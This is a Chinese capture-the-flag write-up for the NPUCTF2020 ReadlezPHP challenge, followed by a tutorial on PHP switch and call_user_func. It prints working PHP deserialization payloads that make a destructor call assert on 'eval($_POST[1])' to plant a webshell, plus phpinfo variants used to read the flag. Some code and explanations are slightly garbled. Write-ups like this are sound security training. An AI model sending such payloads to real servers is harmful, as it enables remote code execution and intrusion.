反序列化&动态调用 [NPUCTF2020]ReadlezPHP1

在源代码上看到提示

访问一下看看

代码审计一下

复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

@ppp = unserialize(_GET["data"]);和执行漏洞:echo b(a);

在__destruct()方法里面有 echo b(a);

这个是php的特性,php可以通过这种方法动态调用方法

我们可以利用这个特性弄一个后门

做题

代码如下

复制代码
<?php
highlight_file(_FILE_);
class HelloPhp
{
    public $a = 'eval($_POST[1])';
  public $b = "assert";
  public function __destruct()
  {
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
   }
    echo $c =urlencode(serialize(new HelloPhp));

//输出 O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22eval%28%24_POST%5B1%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功

蚁剑连接一下

但是进去却什么都没有

那我们修改代码,改去访问phpinfo

复制代码
<?php
highlight_file(_FILE_);
class HelloPhp
{
    public $a = 'phpinfo()';
  public $b = "assert";
  public function __destruct()
  {
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
   }
    echo $c =urlencode(serialize(new HelloPhp));

//输出
O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功访问

得到flag

创建后门的代码也可以为

复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c=new HelloPhp;
echo serialize($c);

//输出
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

一样的结果

或者把assert函数换成call_user_func函数

也就是call_user_func(phpinfo)

复制代码
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = "phpinfo";
        $this->b = "call_user_func";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c=new HelloPhp;
echo serialize($c);


//输出结果
O:8:"HelloPhp":2:{s:1:"a";s:7:"phpinfo";s:1:"b";s:14:"call_user_func";}

知识点:

php 根据函数名称动态调用函数 call_user_func

一般情况下,我们想要调用一个函数直接在PHP代码中写上该函数的名称,后面加上一对小括号即可。

实例:

switch的特性

switch 是"开关"的意思,它也是一种"选择"语句,但它的用法非常简单。switch 是多分支选择语句。说得通俗点,多分支就是多个 if。

从功能上说,switch 语句和 if 语句完全可以相互取代。但从编程的角度,它们又各有各的特点,所以至今为止也不能说谁可以完全取代谁。

当嵌套的 if 比较少时(三个以内),用 if 编写程序会比较简洁。但是当选择的分支比较多时,嵌套的 if 语句层数就会很多,导致程序冗长,可读性下降。因此C语言提供 switch 语句来处理多分支选择。所以 if 和 switch 可以说是分工明确的。在很多大型的项目中,多分支选择的情况经常会遇到,所以 switch 语句用得还是比较多的。

switch的一般形式如下:

switch (表达式)
{
case 常量表达式1: 语句1
case 常量表达式2: 语句2

case 常量表达式n: 语句n
default: 语句n+1
}

说明:

  1. switch 后面括号内的"表达式"必须是整数类型。也就是说可以是 int 型变量、char 型变量,也可以直接是整数或字符常量,哪怕是负数都可以。但绝对不可以是实数,float 型变量、double 型变量、小数常量通通不行,全部都是语法错误。

  2. switch 下的 case 和 default 必须用一对大括号{}括起来。

  3. 当switch后面括号内"表达式"的值与某个case后面的"常量表达式"的值相等时,就执行此case后面的语句。执行完一个case后面的语句后,流程控制转移到下一个case继续执行。如果你只想执行这一个case语句,不想执行其他case,那么就需要在这个case语句后面加上break,跳出switch语句。

再重申一下:switch是"选择"语句,不是"循环"语句。很多新手看到break就以为是循环语句,因为break一般给我们的印象都是跳出"循环",但break还有一个用法,就是跳出switch。

  1. 若所有的 case 中的常量表达式的值都没有与 switch 后面括号内"表达式"的值相等的,就执行 default 后面的语句,default 是"默认"的意思。如果 default 是最后一条语句的话,那么其后就可以不加 break,因为既然已经是最后一句了,则执行完后自然就退出 switch 了。

  2. 每个 case 后面"常量表达式"的值必须互不相同,否则就会出现互相矛盾的现象,而且这样写造成语法错误。

  3. "case常量表达式"只是起语句标号的作用,并不是在该处进行判断。在执行 switch 语句时,根据 switch 后面表达式的值找到匹配的入口标号,就从此标号开始执行下去,不再进行判断。

  4. 各个 case 和 default 的出现次序不影响执行结果。但从阅读的角度最好是按字母或数字的顺序写。

  5. 当然你也可以不要 default 语句,就跟 if...else 最后不要 else 语句一样。但最好是加上,后面可以什么都不写。这样可以避免别人误以为你忘了进行 default 处理,而且可以提醒别人 switch 到此结束了。

再例如

复制代码
<?php
//计算两数之和
function add($a,$b){
    return $a+$b;
}
//计算两数之差
function jian($c,$d){
    return $c-$d;
}
$function_name="add";  //模拟用户的选择
$n1=2;
$n2=3;
根据函数名称字符串执行对应方法
switch($function_name){
    case "add":
    echo add($n1,$n2);
    break;
    case "jian":
    echo jian($n1,$n2);
    break;
    default:
        break;
}
//运行结果:5

不过,这里只是两个函数的情况,如果用户可以自行输入的函数名称非常多,难道我们只能老老实实地去写类似上面例子中的一个个case子句?此外,如果我们想要实现用户输入任何一个函数名称,不管是PHP内置的函数还是我们自己定义的函数,只要该函数存在,用户就可以通过输入对应的函数名称来调用,这个时候我们该怎么办呢?有没有一种方法能够实现:只要用户输入一个函数名称和参数,我们就直接根据函数名称调用对应的函数呢?

PHP已经给我们提供了能够实现上述功能的函数------call_user_func()和call_user_func_array()。我们只需要将函数名称作为第一个参数,调用该函数所需的参数作为第2~N个参数传递给call_user_func()即可(call_user_func_array()与此类似,不过除了作为函数名称的第一个参数外,后面调用函数所需的参数是以数组的形式整体传递进去的)。

实例:

复制代码
<?php

function add($a,$b){
    return $a+$b;
}
function jian($c,$d){
    return $c-$d;
}
$function_name="add";
$n1=2;
$n2=3;

/*switch($function_name){
    case "add":
    echo add($n1,$n2);
    break;
    case "jian":
    echo jian($n1,$n2);
    break;
    default:
        break;
}
*/
//调用自定义的函数
echo call_user_func($function_name,$n1,$n2); //输出5
echo "\n";
echo call_user_func_array($function_name,array($n1,$n2));//输出5
echo "\n";
echo call_user_func('pow',2,6);//输出64
print "\n";
echo call_user_func_array('pow',array(2,6));//输出64
printf("\n");
echo call_user_func("pi");//,相当于pi,输出3.1415926535898

知识点参考:switch case语句,switch case用法详解

https://www.cnblogs.com/xuelisheng/p/9416905.html

基本数据类型:

整型int、浮点型float、字符型char

PHP assert 和 eval

isset函数 用于检测变量是否已设置并且非 NULL。

assert 断言检测 用于判断一个表达式是否成立,返回true or false

例如,会输出hi

assert()可以将整个字符串参数当作php参数执行,

而类似的eval()函数是执行合法的php代码,eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外。

参考文章:

PHP assert 和 eval_eval((true or false))-CSDN博客

[NPUCTF2020]ReadlezPHP 1-CSDN博客

https://www.cnblogs.com/upfine/p/16417465.html

相关推荐
雨白6 小时前
Jetpack系列(二):Lifecycle与LiveData结合,打造响应式UI
android·android jetpack
kk爱闹8 小时前
【挑战14天学完python和pytorch】- day01
android·pytorch·python
每次的天空10 小时前
Android-自定义View的实战学习总结
android·学习·kotlin·音视频
恋猫de小郭10 小时前
Flutter Widget Preview 功能已合并到 master,提前在体验毛坯的预览支持
android·flutter·ios
断剑重铸之日11 小时前
Android自定义相机开发(类似OCR扫描相机)
android
随心最为安11 小时前
Android Library Maven 发布完整流程指南
android
岁月玲珑11 小时前
【使用Android Studio调试手机app时候手机老掉线问题】
android·ide·android studio
还鮟15 小时前
CTF Web的数组巧用
android
小蜜蜂嗡嗡17 小时前
Android Studio flutter项目运行、打包时间太长
android·flutter·android studio
aqi0017 小时前
FFmpeg开发笔记(七十一)使用国产的QPlayer2实现双播放器观看视频
android·ffmpeg·音视频·流媒体